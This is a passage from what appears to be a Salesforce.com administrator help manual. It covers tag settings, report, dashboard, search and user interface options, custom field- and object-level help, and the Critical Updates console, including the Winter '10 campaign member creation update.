dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except
relationship group members).
• Personal Tag Cleanup—Delete the personal tags of your deactivated users.

See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records

Enabling Tags
Tag settings available in: All Editions

User Permissions Needed


To modify tag settings: “Customize Application”

To change your organization's tagging settings:

1. Click Setup ➤ Customize ➤ Tags ➤ Tag Settings.


2. Select Enable Personal Tags if you want to allow users to add personal tags to records, and select Enable Public
Tags if you want to allow users to add public tags to records. Deselect both options if you want to disable tagging.
3. If you are enabling tags, specify which objects and page layouts should display personal and public tags in a tag section at
the top of record detail pages. The tag section is the only way that a user can add tags to a record.

1241
Customize Deleting Personal Tags for Deactivated Users

For example, if you only select one or more account page layouts, users in your organization can only tag account records.
Additionally, if you only select account page layouts in the Enable Personal Tags section and not in the Enable
Public Tags section, users can only tag account records with personal tags.

Note:

• When tags are enabled, you can also add personal and public tags to a page layout by editing the page layout
directly. See Customizing Page Layouts on page 1014.
• Custom objects that do not have an associated tab are not returned in search results or displayed on the Tags
page, even if tags are enabled for the custom object. For custom object records to appear in search results or
the Tags page, an associated tab only needs to exist; the tab does not have to be visible to users.
• Customer Portal users cannot view the tags section of a page, even if it is included in a page layout.

4. Click Save.

Adding the Tags Component to the Sidebar


Once you have enabled tags for your organization, you can add the Tags component to your user's sidebar. This component
allows users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most
recently used tags. To add this component:
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.
2. Next to a home page layout that you want to modify, click Edit.
3. Select the Tags checkbox and click Next.
4. Arrange the Tags component on your page layout as desired, and click Save.
Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Setup ➤ Customize
➤ User Interface, and select Show Custom Sidebar Components on All Pages.

See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records
Deleting Personal Tags for Deactivated Users

Deleting Personal Tags for Deactivated Users


Personal Tag Cleanup available in: All Editions

User Permissions Needed


To delete personal tags for deactivated users: “Customize Application”

Your organization can have up to 5,000,000 personal and public tags applied to records, across all users. If you are approaching
this limit, you can delete the personal tags for your deactivated users in the Personal Tag Cleanup page. To use this page:

1242
Customize Customizing Report and Dashboard Settings

1. Click Setup ➤ Customize ➤ Tags ➤ Personal Tag Cleanup.


2. Select one or more deactivated users and click Delete.

Once personal tags are deleted, they cannot be restored.

See Also:
About Tagging
Enabling Tags
Using the Tags Sidebar Component
Tagging Records

REPORTS & DASHBOARDS

Customizing Report and Dashboard Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this
page, click Setup ➤ Customize ➤ Reports & Dashboards and click the following links to access report and dashboard
settings:

• Customize report and dashboard user interface settings—Control features of the report and dashboard user interface,
such as floating report headers, the auto-complete Dashboard Finder, and charting options.
• Customize report and dashboard email settings—Control the way email notifications are sent, including image handling
in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.
• Customize report folders—Click this link to go to the last open report folder. From there, you can edit folder properties,
such as name, access, and sharing.

See Also:
Customizing Report and Dashboard User Interface Settings
Customizing Report and Dashboard Email Settings

1243
Customize Customizing Report and Dashboard User Interface Settings

Customizing Report and Dashboard User Interface Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

To change your organization's report and dashboard user interface settings:

1. Click Setup ➤ Customize ➤ Reports & Dashboards ➤ User Interface Settings.


2. Select or deselect the following checkboxes to modify the settings for your organization:
Enable Floating Report Headers
Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down
report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having
to scroll back to the top to view the names of the column headings. Users can also click floating report headers to
sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and
redirects users to the beginning of report results.

Use Auto-Complete When Choosing Dashboards


The auto-complete dashboard finder option allows you to quickly find dashboards in the Dashboards tab. This option
is enabled by default. To find a dashboard on the Dashboards tab, start typing its name in the search filter, and all
dashboards matching that text are dynamically displayed in the drop-down list. The first 1000 results are shown in
a single list; above 1000, results are shown 500 per page. Users only see dashboards in folders they can access. Disable
this option to use the static drop-down list instead.
Important: Dashboard finder is automatically disabled for all users with access to more than 20,000
dashboards. These users are defaulted to the static drop-down list on the Dashboards tab—even if this
option is enabled.
For Internet Explorer 6, dashboard finder is automatically disabled for users with access to more than 1000
dashboards.

3. Click Save.

See Also:
Customizing Report and Dashboard Settings

1244
Customize Customizing Report and Dashboard Email Settings

Customizing Report and Dashboard Email Settings


Available in: All Editions

User Permissions Needed


To modify report and dashboard settings: “Customize Application”

To change your organization's report and dashboard email settings:

1. Click Setup ➤ Customize ➤ Reports & Dashboards ➤ Email Settings.


2. Select or deselect the following checkboxes to modify the settings for your organization:
Use Images Compatible with Lotus Notes in Dashboard Emails
Dashboard refresh notifications can be sent to specified users when a scheduled dashboard refresh completes. By
default, Salesforce.com sends images in dashboard emails as .png (Portable Network Graphic) files, which are not
supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard
Emails option, Salesforce.com uses .jpg images, which Lotus Notes supports, when sending dashboard emails.
The “Schedule Dashboard” permission is required to view this option.
Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the
image quality may be lower.

Allow Reports and Dashboards to Be Sent to Portal Users


This option, disabled by default, is available to Enterprise and Unlimited Edition organizations that have a Customer
Portal or partner portal set up. Unless enabled, only internal Salesforce.com users can receive reports and dashboard
refresh notifications. If you enable this option, all internal and portal users specified as recipients receive reports and
dashboards.
3. Click Save.

See Also:
Customizing Report and Dashboard Settings

1245
Customize Customizing Search Settings

Customizing Search Settings


Available in: All Editions

User Permissions Needed


To modify search settings: “Customize Application”

To change your organization's search settings:

1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.


2. Modify the search settings for your organization.
3. Click Save.

Search Settings
The search settings are:
Enable Drop-Down List for Sidebar Search
The drop-down list for sidebar search allows you to limit users' sidebar searches by object. When you select Enable
Drop-Down List for Sidebar Search, a drop-down list appears in the Search section. From this list users can
select to search within tags, within a specific object, or across all objects.

Enable “Limit to Items I Own” Search Checkbox


The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner
when entering search queries in the sidebar.
Note: The Limit to Items I Own checkbox that appears in Advanced Search is always available to users,
regardless of this setting.

Enable Document Content Search


Enabling Document Content Search allows you to perform a full-text search of a document. When a new document
is uploaded or an old one is replaced, its contents are available as search terms to retrieve the document.

Enable Search Optimization if your Content is Mostly in Japanese, Chinese, or Korean


Enabling this checkbox optimizes search for the Japanese, Chinese, and Korean languages. It affects both the sidebar
search and the account search for Find Duplicates on a Lead record. Enable this option if users are searching in the
sidebar mostly in Japanese, Chinese, or Korean, and if the text in searchable fields is mostly in those languages.
Do not check this option if you expect content and searches to be mostly in other languages.

Use Recently Viewed User Records for Blank and Auto-Complete Lookups
If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is
taken from the user's recently viewed user records.
If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.

1246
Customize Customizing User Interface Settings

Enable Sidebar Search Auto-Complete


If this setting is enabled, when users start typing search terms, the sidebar search displays a matching list of recently
viewed records.

Enable Single-Search-Result Shortcut


If this setting is enabled, users skip the search results page and go directly to the record's detail page when their search
returns only a single item.
This setting doesn't apply to tags and case comments (in advanced search). If the search result is a single tag or case
comment, the search results page still appears.

Number of Search Results Displayed Per Object


The Number of Search Results Displayed Per Object area allows you to configure the number of items that are returned
for each object in the Search Results page. The current setting is in parentheses next to each object. To make changes,
select one or more objects, enter the new number of results per page, and click Save. The new value must be between 5
and 50.

Lookup Settings
The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact,
user, and any custom object lookups.

Customizing User Interface Settings


The available user interface settings vary according to which Salesforce.com Edition you have.

User Permissions Needed


To modify user interface settings: “Customize Application”

To change your organization's user interface settings:

1. Click Setup ➤ Customize ➤ User Interface.


2. Select or deselect each checkbox to modify the user interface settings for your organization.
3. Click Save.

User Interface Settings


Enable Collapsible Sections
Collapsible sections give users the option to collapse or expand sections on their record detail pages using the arrow icon
next to the section heading. When enabling collapsible sections, make sure your section headings are displayed for each
page layout. Sections remain expanded or collapsed until the user changes his or her settings for that tab. If your
organization has enabled record types, Salesforce.com remembers a different setting for each record type.
Note: Call center users won't see incoming calls if they collapse the sidebar.

1247
Customize Customizing User Interface Settings

Show Quick Create


The Quick Create area on a tab home page allows users to create a new record quickly with minimal information. It
displays, by default, on the tab home pages for leads, accounts, contacts, forecasts, and opportunities. You can control
whether the Quick Create area is displayed on all relevant tab home pages.
Note: The Show Quick Create setting also affects whether or not users can create new records from within
the lookup dialog. For example, with the setting enabled, users can create a new account within the account
lookup dialog while creating or editing a contact. Creating new records in the lookup dialog is available only if
Quick Create is available for the type of record you are creating. In addition, users always need the appropriate
“Create” permission to use Quick Create even though it will be displayed for all users.

Enable Hover Details


Hover details display an interactive overlay containing detailed information about a record when users hover the mouse
over a link to that record in the Recent Items list on the sidebar or in a lookup field on a record detail page. Users can
quickly view information about a record before clicking View for the record's detail page or Edit for the edit page. The
fields displayed in the hover details are determined by the record's mini page layout. The fields that display in document
hover details are not customizable. This option is enabled by default.
Note: To view the hover details for a record, users must have the appropriate sharing access to that record as
well as the necessary field-level security for the fields in the mini page layout.

Enable Related List Hover Links


Related list hover links display at the top of record detail pages and custom object detail pages in Setup. Users can hover
the mouse over a related list hover link to display the corresponding related list and its number of records in an interactive
overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link
to jump down to the content of the related list without having to scroll down the page. The Enable Related List
Hover Links checkbox is selected by default.

Enable Separate Loading of Related Lists


Select this option to enable the separate loading of record detail pages: primary record details load first, followed by
related list data. When you enable this option, users see primary record details immediately; as related list data loads,
users see a progress indicator. Separate loading can improve performance on record detail pages for organizations with
large numbers of related lists. This option is disabled by default. Note that this option does not apply to Visualforce
pages, user pages, the self-service portal, or other pages for which you cannot control the layout.

Enable Inline Editing


Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access
the record's edit page first. This option is enabled by default and applies to all users in your organization.
Note: This doesn't enable inline editing for profiles. To enable inline editing for profiles, select Enable
Enhanced Profile Management.

Enable Enhanced Lists


Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity.
When enabled with the Enable Inline Editing setting, users can also edit records directly from the list, without
navigating away from the page. This option is enabled by default.
Note: This doesn't enable enhanced lists for profiles. To enable enhanced lists for profiles, select Enable
Enhanced Profile Management.

1248
Customize Customizing User Interface Settings

Enable New User Interface Theme

Note: Starting with Summer '10, new organizations have the new user interface theme enabled by default.

The new user interface theme updates the look and feel of Salesforce.com for all users in your organization. The new
user interface theme is not supported in Setup, Console, Portals, or Help & Training.
Only users with supported browsers see the new user interface theme. Users with unsupported browsers receive an error
message recommending that they upgrade to one of the following supported versions:
• Microsoft® Internet Explorer version 7.0 and 8.0
• Mozilla Firefox 3.0.x
• Apple® Safari 3.2.x

Enable Printable List Views


Printable list views allow users to easily print list views. If enabled, users can click the Printable View link from any list
view to open a new browser window, displaying the current list view in a simple, print-ready format. The link is located
next to the Help for this Page link in the colored title bar of the page.

Enable Spell Checker


Available in all Editions. If this option is selected, the Check Spelling button will appear in certain areas of the application
where text is entered, such as sending an email, or when creating events, tasks, cases, notes, and solutions. Clicking the
button checks the spelling of your text. Spell Checker does not support all the languages that Salesforce.com supports.
For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported.

Enable Spell Checker on Tasks and Events


Available in all Editions. Select this checkbox to enable the Check Spelling button when users create or edit tasks or
events. The spell checker analyzes the Description field on events and the Comments field on tasks.

Sidebar Settings
Enable Collapsible Sidebar
The collapsible sidebar gives users the ability to show or hide the sidebar on every Salesforce.com page that normally
includes the sidebar. When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes
available to all users in your organization, but each user can choose his or her own preference for displaying the sidebar.
Users can leave the sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking
the edge of the collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page
49.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times
so you always have access to the Divisions drop-down list.

Show Custom Sidebar Components on All Pages


If you have custom home page layouts that include components in the sidebar, this option makes the sidebar components
available on all pages in Salesforce.com for all users in your organization. If you only want certain profiles to view sidebar
components on all pages, you can assign those profiles the “Show Custom Sidebar On All Pages” permission.
Note: If the Show Custom Sidebar Components on All Pages user interface setting is selected, the
“Show Customer Sidebar On All Pages” permission is not available.

1249
Customize Customizing User Interface Settings

Calendar Settings
Enable Home Page Hover Links for Events
Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover
the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by
default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Note: If you create all day events, Salesforce.com recommends adding the All Day Event field to the events
mini page layout.

Enable Drag-and-Drop Editing on Calendar Views


Select this checkbox to enable the dragging of events on single user daily and weekly calendar views. This allows users
to reschedule events without leaving the page. This option is enabled by default. Note the following:
• Calendar views may load less quickly when this checkbox is enabled.
• Drag-and-drop editing is not available for calendar views in the console.
• Drag-and-drop editing is not available for multiday events.

Enable Click-and-Create Events on Calendar Views


Select this checkbox to enable users to create events on day and weekly calendar views by double-clicking a specific time
slot and entering the details of the event in an interactive overlay. The fields available in the event detail and edit overlays
are defined in a mini page layout.
Note that recurring events and group events are not supported for click-and-create events on calendar views.

Enable Drag-and-Drop Scheduling on List Views


Select this checkbox to enable users to create events associated with records by dragging records from list views on to
weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default.
The fields available in the event detail and edit overlays are defined in a mini page layout.

Enable Hover Links for My Tasks List


Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day
view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that
task in an interactive overlay.
The information presented on these overlays is configured by your administrator.

Setup Settings
Enable Enhanced Page Layout Editor
Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced
page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that
contains all of the functionality of the original page layout editor as well as several improvements.

Enable Enhanced Profile Management


Select this checkbox to activate enhanced list views and inline editing on the profile management page. When this setting
is enabled, you can manage multiple profiles at once.

1250
Customize Custom Help Overview

Advanced Settings
Activate Extended Mail Merge
Select this checkbox to activate Extended Mail Merge for your organization. When the checkbox is selected, the Mass
Mail Merge link is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail
merges requested from the Activity History related list on a record are performed using Extended Mail Merge functionality.
For more information on using Salesforce.com to generate personalized form letters and other documents based on
templates, see Mail Merge Overview on page 1998.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in
this feature.

Always save Extended Mail Merge documents to the Documents tab


When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's
personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation
emails when their mail merge requests have completed. Those emails include links for retrieving generated documents
from the Documents tab. Note that these documents count against your organization's storage limits.

See Also:
Creating Records Using the Create New Drop-Down List

CUSTOM HELP

Custom Help Overview


Available in: All Editions

The Help & Training link at the top of every page opens the Salesforce.com Help & Training window which includes online
help topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a
context-sensitive online help topic that describes that page.
Salesforce.com custom help functionality allows you to augment these standard help features with information on using fields
and functionality unique to your organization or the Force.com AppExchange app you are developing.
Custom help allows you to:

• Override the standard Salesforce.com context-sensitive online help topics for your custom objects using object-level help

1251
Customize Getting Started with Field-Level Help

• Add field-level help that displays when users hover their mouse over a field

See Also:
Defining Field-Level Help
Getting Started with Field-Level Help
Defining Object-Level Help
Getting Started with Object-Level Help
Creating Custom Fields

FIELD-LEVEL HELP

Getting Started with Field-Level Help


Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
Before you begin defining field-level help, review these implementation tips and best practices.

Implementation Tips
• Field-level help is enabled by default for all editions.
• Field-level help is not available for some standard fields, including fields on the User object, system read only fields,
auto-number fields, multi-currency fields, Salesforce CRM Ideas fields, and Community fields.
• The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange
package.
• In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.

Best Practices
• Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct
help text that defines the field's purpose, such as:
The maximum discount allowed for this account.
• Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data
are allowed. Only the first 255 characters display in reports.
• Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer,
for example, 4PLT (for level-four platinum pricing).

1252
Customize Defining Field-Level Help

• If your organization uses more than one language, provide translations for your Help Text using the Translation
Workbench.

See Also:
Custom Help Overview
Defining Field-Level Help
Creating Custom Fields

Defining Field-Level Help


Available in: All Editions

User Permissions Needed


To define or change field-level help: “Customize Application”

Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
To define field-level help:

1. Select the field for which you want to define custom help text:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click Edit next to the field.


3. In the Help Text field, enter the text you want displayed when a user hovers the mouse over the Info icon that appears
adjacent to the field on a detail or edit page. You can enter up to 255 characters.
4. Click Save.

See Also:
Custom Help Overview
Getting Started with Field-Level Help
Creating Custom Fields

1253
Customize Getting Started with Object-Level Help

OBJECT-LEVEL HELP

Getting Started with Object-Level Help


Object-level help gives you the power to override the Salesforce.com Help for this Page links for any custom object with your
custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always
opens the Salesforce.com Help & Training window, yet every Help for this Page link on your custom object pages opens the
content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and
edit pages as well as any list views and related lists.
Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices.

Implementation Tips
• Object-level help is available for all custom objects in the Salesforce.com editions that support custom objects.
• For maximum functionality and ease of development, use Visualforce pages rather than s-controls.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.

• When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom
controller. You cannot use a standard controller or a standard list controller.
• When creating an s-control to use for your object-level help, select HTML or URL:
- For an HTML s-control, write your help content directly into the s-control body using HTML markup.
- For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
.
• If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce.com
automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help
Settings for that object.
• In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.

Best Practices
• The window that displays your object-level help has the same height and width dimensions as the standard Salesforce.com
Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help
content.
• To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style Guide for
Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your pages.

1254
Customize Defining Object-Level Help

• Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other
functions to make the experience more personalized. For example, you can design the custom help to address the user
directly by adding the user's name to the help page when it is displayed.

See Also:
Custom Help Overview
Defining Object-Level Help

Defining Object-Level Help


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define or change object-level help: “Customize Application”

Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained
in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or
an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control.
Object-level help becomes available to all your users instantly.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

To define object-level help for custom objects:

1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content.

• For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard
controllers and standard list controllers cannot be used with pages that display object-level help.
• For an HTML s-control, write your help content directly into the s-control body using HTML markup.
• For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.

2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these
custom object records.
3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from
the Context-Sensitive Help Setting.
4. Select the Visualforce page or s-control that contains your help content.
5. Click Save.

1255
Customize Replacing Salesforce.com Online Help

Tip:
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static
resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a
user to a PDF:

1. Upload the PDF as a static resource named customhelp.


2. Create the following page:

<apex:page sidebar="false" showHeader="false" standardStylesheets="false"


action="{!URLFOR($Resource.customhelp)}">
</apex:page>

Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.

Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style
Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your
pages.

See Also:
Custom Help Overview
Getting Started with Object-Level Help

Replacing Salesforce.com Online Help


Organizations that have renamed standard tabs, objects, fields, and other related user interface labels can also replace the
Salesforce.com online help with another URL. Users can view this URL whenever they click on any context-sensitive help
link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of
every page and all Administration Setup pages will continue to display Salesforce.com online help.

1. Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Help Settings.


2. Enter the complete URL for your help file that you would like to replace the Salesforce.com online help.
3. Click Save.
Note: When you replace the Salesforce.com online help with your own help file, the Help & Training link still
displays Salesforce.com online help but the Help for this Page links on all pages other than within Administration
Setup are no longer context-sensitive. That is, your help file will open at the same place regardless of which page the
user is viewing when they click the link.
If you choose, you can make your help context-sensitive by taking advantage of the context-specific parameters that
are passed with each help link. For example, the help link from the Opportunities tab home page is constructed as
follows (without any linebreaks):
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm&section=Opportunities

The values of the target and section parameters are unique for every page within the application. You can parse
these parameters to display context-sensitive help content for your users.

1256
Critical Updates Console Critical Updates Overview

CRITICAL UPDATES CONSOLE

Critical Updates Overview


Available in: All Editions

User Permissions Needed


To view critical updates: “View Setup”
To activate critical updates: “Modify All Data” and “Customize Application”

Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce.com, but may
affect your existing customizations. When these updates become available, Salesforce.com lists them at Setup ➤ Critical
Updates, sends a notification email to administrators, and displays a message when administrators click Setup.
To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the
update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as
necessary. The opt-in period ends on the auto-activation date, at which time Salesforce.com permanently activates the update.
Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your
production environment during off-peak hours.

To manage critical updates, click Setup ➤ Critical Updates. From this page, you can:

• View the summary, status, and auto-activation date for any update that Salesforce.com has not permanently activated.
• Click Review to view the detail page of any update that Salesforce.com has not permanently activated. The details include
a list of the customizations in your organization that the update might affect and the activation history, which lists each
time the update was activated and deactivated.
• Click Activate to activate any inactive update.
• Click Deactivate to deactivate any active update that Salesforce.com has not permanently activated.

Notes on Critical Updates


• Salesforce.com analyzes your organization to determine if a critical update potentially affects your customizations. If your
customizations are not affected, Salesforce.com automatically activates the update in your organization, and the update
does not appear when you click Setup ➤ Critical Updates.
• On the scheduled auto-activation date, Salesforce.com permanently activates the update. After auto-activation, you cannot
deactivate the update.
• Each update detail page has its own online help topic that contains important information and examples to help you
understand how your customizations might be affected and how you can correct any unintended functionality.
• Salesforce.com displays a message the first time you access the setup menu after a critical update becomes available. The
message lets you choose to have Salesforce.com display the updates immediately or remind you about the updates later.

1257
Critical Updates Console Winter '10 Critical Updates

You can also choose to have Salesforce.com neither display the updates nor remind you. If you choose this option,
Salesforce.com will not display the message again until another new update is available.

See Also:
Winter '10 Critical Updates

Winter '10 Critical Updates


Available in: All Editions

User Permissions Needed


To view critical updates: “View Setup”
To activate critical updates: “Modify All Data” and “Customize Application”

Winter '10 features one critical update:

• New Campaign Member Creation Behavior—Enables Salesforce.com to evaluate triggers, validation rules, and workflow
rules when you create campaign members using:

- the Lead Import Wizard


- the Campaign Update Wizard
- Web-to-Lead
- the Campaign field when creating or cloning a lead

For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?

See Also:
Critical Updates Overview

1258
Critical Updates Console Winter '10 Critical Updates

What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Winter '10 New Campaign Member Creation “View Setup”
Behavior update:
To activate the Winter '10 New Campaign Member Creation “Customize Application”
Behavior update:
AND
“Modify All Data”

The Winter '10 New Campaign Member Creation Behavior update enables Salesforce.com to evaluate triggers, validation
rules, and workflow rules when you create campaign members using:

• the Lead Import Wizard


• the Campaign Update Wizard
• Web-to-Lead
• the Campaign field when creating or cloning a lead

Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom
fields. For example, you can now map “Attended?” and “# Questions Asked” fields in an import file to campaign member
custom fields called “Attended?” and “# Questions Asked.”
When you activate this update, you have the option to run workflow and map campaign member custom fields when you
create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and
default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead
or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you
can now define the Campaign Member Status on a per-row basis.
If you deactivate this update, Salesforce.com does not evaluate the triggers, validation rules, and workflow rules for campaign
members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when
creating or cloning a lead, and you can't map import fields to campaign member custom fields.
Important: This critical update changes the behavior of campaign members created using the campaign member
wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features
may behave differently when you activate this update, for example:

• Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work
because campaign members are created after leads.
• If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign
members will not be inserted.
• Apex triggers that result in leads being converted before being added to a campaign, for example, an after
insert trigger, result in a campaign member with only contact fields populated. These records are not included
in the campaign's converted lead count.

1259
Critical Updates Console Winter '10 Critical Updates

If your organization has any of these customizations, read the examples to understand how you might be affected and
how you can correct unintended functionality.

Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules
regardless of how they are created. and the quality of your data is improved.
Important: Activation of this update impacts campaign member records in the user interface, API, and desktop
clients, such as Connect for Outlook.

The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up
after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it.
If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the
auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by
activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update
an unlimited number of times.

Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the New Campaign Member Creation Behavior update.
The Critical Update detail page displays feature customizations that may be affected by activating the update.
3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations.
4. Click Activate.
5. Optionally, enter comments and click Activate. Comments appear in the activation history.

Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the New Campaign Member Creation Behavior update.
3. Click Deactivate.
4. Optionally, enter comments and click Deactivate. Comments appear in the activation history.

New Campaign Member Creation Behavior Examples


Workflow Rule Example
Let's say you use the Lead Import Wizard to add members to a campaign named “Newsletter.” You have a workflow
rule that emails a newsletter to members added to this campaign.

• Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is
evaluated for imported members and the newsletters are sent.
• Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import
Wizard and the newsletters aren't sent.

1260
Force.com Sites Sites Overview

Apex Trigger Example


Assume there's an Apex trigger on campaign members that updates the Number Attended campaign custom field
when members with the “Attended” status are added to the “Webinar” campaign. You want to use the Campaign Update
Wizard to update the status for members of this campaign.

• Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and
the Number Attended campaign custom field is updated.
• Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and
the Number Attended campaign custom field isn't updated.

Validation Rule Example


Imagine there's a campaign member validation rule that requires users to select a custom field called “RSVP-Yes” if the
member’s status is “RSVP-Yes.”

• Update activated: Campaign members imported with the status “RSVP-Yes” must also have the “RSVP-Yes” field
in the import file set to “TRUE,” or they aren't created.
• Update deactivated: You can import campaign members with the status “RSVP-Yes,” regardless of the “RSVP-Yes”
custom field value.

Campaign Member Custom Field Example


You want to map import fields called “Attended?” and “# Questions Asked” to campaign member custom fields of the
same names.

• Update activated: You can map these import fields during import to campaign member custom fields called “Attended?”
and “# Questions Asked.”
• Update deactivated: You cannot map these import fields to campaign member custom fields.

FORCE.COM SITES

Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions

Salesforce.com organizations contain valuable information about partners, solutions, products, users, ideas, and other business
data. Some of this information would be useful to people outside your organization, but only users with the right access and
